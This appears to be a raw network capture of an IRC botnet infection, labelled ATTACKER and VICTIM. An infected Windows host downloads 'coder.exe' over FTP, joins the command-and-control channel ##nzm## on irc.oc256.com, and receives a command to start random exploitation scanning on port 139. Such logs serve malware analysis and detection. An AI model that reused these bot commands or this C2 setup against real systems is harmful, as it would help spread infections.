ATTACKER: 220 NzmxFtpd 0wns j0 VICTIM: USER 1 ATTACKER: 331 Password required VICTIM: PASS 1 ATTACKER: 230 User logged in. VICTIM: PORT 192,168,1,143,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR coder.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye happy r00ting. VICTIM: NICK USA|00|XP|SP0|1410595USER ktsqeuqmo 0 0 :USA|00|XP|SP0|1410595 ATTACKER: :irc.oc256.com NOTICE AUTH :*** Looking up your hostname... ATTACKER: :irc.oc256.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead:irc.oc256.com NOTICE USA|00|XP|SP0|1410595 :*** If you are having problems connecting due to ping timeouts, please type /quote pong BF7C7E6D or /raw pong BF7C7E6D now.PING :BF7C7E6D ATTACKER: PONG :BF7C7E6D ATTACKER: :irc.oc256.com 001 USA|00|XP|SP0|1410595 :Welcome to the oc256 IRC Network USA|00|XP|SP0|1410595!ktsqeuqmo@192.168.1.143:irc.oc256.com 002 USA|00|XP|SP0|1410595 :Your host is irc.oc256.com, running version Unreal3.2-beta19:irc.oc256.com 003 USA|00|XP|SP0|1410595 :This server was created Sun Feb 8 18:58:31 2004:irc.oc256.com 004 USA|00|XP|SP0|1410595 irc.oc256.com Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN:irc.oc256.com 005 USA|00|XP|SP0|1410595 MAP KNOCK SAFELIST HCN MAXCHANNELS=25 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server:irc.oc256.com 005 USA|00|XP|SP0|1410595 WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=oc256 CASEMAPPING=ascii :are supported by this server:irc.oc256.com 422 USA|00|XP|SP0|1410595 :MOTD File is missing:USA|00|XP|SP0|1410595 MODE USA|00|XP|SP0|1410595 :+i VICTIM: JOIN ##nzm## ATTACKER: :USA|00|XP|SP0|1410595!ktsqeuqmo@192.168.1.143 JOIN :##nzm##:irc.oc256.com 332 USA|00|XP|SP0|1410595 ##nzm## :.root.s asn1smbnt 100 5 0 130.x.x.x -a:irc.oc256.com 333 USA|00|XP|SP0|1410595 ##nzm## sobi 1251815948:irc.oc256.com 353 USA|00|XP|SP0|1410595 @ ##nzm## :USA|00|XP|SP0|1410595 @sobi :irc.oc256.com 366 USA|00|XP|SP0|1410595 ##nzm## :End of /NAMES list. VICTIM: USERHOST USA|00|XP|SP0|1410595MODE USA|00|XP|SP0|1410595 -x+iJOIN ##nzm## USERHOST USA|00|XP|SP0|1410595MODE USA|00|XP|SP0|1410595 -x+iJOIN ##nzm## USERHOST USA|00|XP|SP0|1410595MODE USA|00|XP|SP0|1410595 -x+iJOIN ##nzm## ATTACKER: :irc.oc256.com 302 USA|00|XP|SP0|1410595 :USA|00|XP|SP0|1410595=+ktsqeuqmo@192.168.1.143 :irc.oc256.com 302 USA|00|XP|SP0|1410595 :USA|00|XP|SP0|1410595=+ktsqeuqmo@192.168.1.143 :irc.oc256.com 302 USA|00|XP|SP0|1410595 :USA|00|XP|SP0|1410595=+ktsqeuqmo@192.168.1.143 VICTIM: PRIVMSG ##nzm## :\002n\002z\037m\037 (root.p\037l\037g) \002\273\273\002 Random Exploitation started on 130.x.x.x:139 waiting 5 seconds for 0 minutes using 100 threads.